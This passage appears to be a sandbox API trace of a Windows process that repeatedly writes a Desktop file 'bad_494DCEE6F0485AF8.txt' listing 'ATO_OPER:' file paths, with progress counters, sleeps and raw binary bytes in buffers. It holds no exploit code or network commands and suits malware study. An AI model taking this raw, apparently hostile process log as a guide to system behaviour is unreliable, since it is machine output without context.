C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\n", cchWideChar=874, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 874 [0113.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\n", cchWideChar=874, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 874 [0113.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\n", cchWideChar=874, lpMultiByteStr=0x1e3ad38, cbMultiByte=874, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\n\n«S­åÚ\x8c¾ÍCÉb\x8a\x92W\x1d0MýÈ^…\x91ÁÓ|\x10\x149\x9e\x15ÓûD\x08Þ\nÕ¾í¤ëQâ6ôk>t\x9a\x9b²\x0cZ\x89\x16êGX }\r\n}\r\n", lpUsedDefaultChar=0x0) returned 874 [0113.399] WriteFile (in: hFile=0x198, lpBuffer=0x1e3ad38*, nNumberOfBytesToWrite=0x36a, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesWritten=0x290fe34*=0x36a, lpOverlapped=0x0) returned 1 [0113.400] CloseHandle (hObject=0x198) returned 1 [0113.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0113.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0113.400] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0113.401] Sleep (dwMilliseconds=0x5dc) [0115.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0115.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0115.062] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0115.063] Sleep (dwMilliseconds=0x5dc) [0116.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0116.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0116.705] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0116.706] Sleep (dwMilliseconds=0x5dc) [0118.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0118.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=12 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0118.270] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0118.271] Sleep (dwMilliseconds=0x5dc) [0119.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0119.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\n", cchWideChar=950, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 950 [0119.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\n", cchWideChar=950, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 950 [0119.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\n", cchWideChar=950, lpMultiByteStr=0x26d8a68, cbMultiByte=950, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nm¥÷\x83«\x8d\x90[c<%Õ¯)û¡I]\x86¬\x9d=\\¿¡éa>þ\x1cãAÍ\"ê\x9d\x1a±5°\x1b8³¦Uáx[ÿë\x1aA0S8=Øf<\x1aÁ¥b´ð\x92\x17|ò<¦¹%tN§c", lpUsedDefaultChar=0x0) returned 950 [0119.858] WriteFile (in: hFile=0x168, lpBuffer=0x26d8a68*, nNumberOfBytesToWrite=0x3b6, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x26d8a68*, lpNumberOfBytesWritten=0x290fe34*=0x3b6, lpOverlapped=0x0) returned 1 [0119.859] CloseHandle (hObject=0x168) returned 1 [0119.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0119.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0119.859] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0119.860] Sleep (dwMilliseconds=0x5dc) [0121.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0121.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0121.493] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0121.495] Sleep (dwMilliseconds=0x5dc) [0123.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0123.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=13 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0123.148] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0123.150] Sleep (dwMilliseconds=0x5dc) [0124.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0124.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\n", cchWideChar=1016, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1016 [0124.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\n", cchWideChar=1016, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1016 [0124.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\n", cchWideChar=1016, lpMultiByteStr=0x27de3e8, cbMultiByte=1016, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nA", lpUsedDefaultChar=0x0) returned 1016 [0124.858] WriteFile (in: hFile=0x1cc, lpBuffer=0x27de3e8*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x27de3e8*, lpNumberOfBytesWritten=0x290fe34*=0x3f8, lpOverlapped=0x0) returned 1 [0124.859] CloseHandle (hObject=0x1cc) returned 1 [0124.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0124.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0124.860] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0124.860] Sleep (dwMilliseconds=0x5dc) [0126.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0126.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0126.548] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0126.549] Sleep (dwMilliseconds=0x5dc) [0128.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0128.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=14 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0128.140] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, 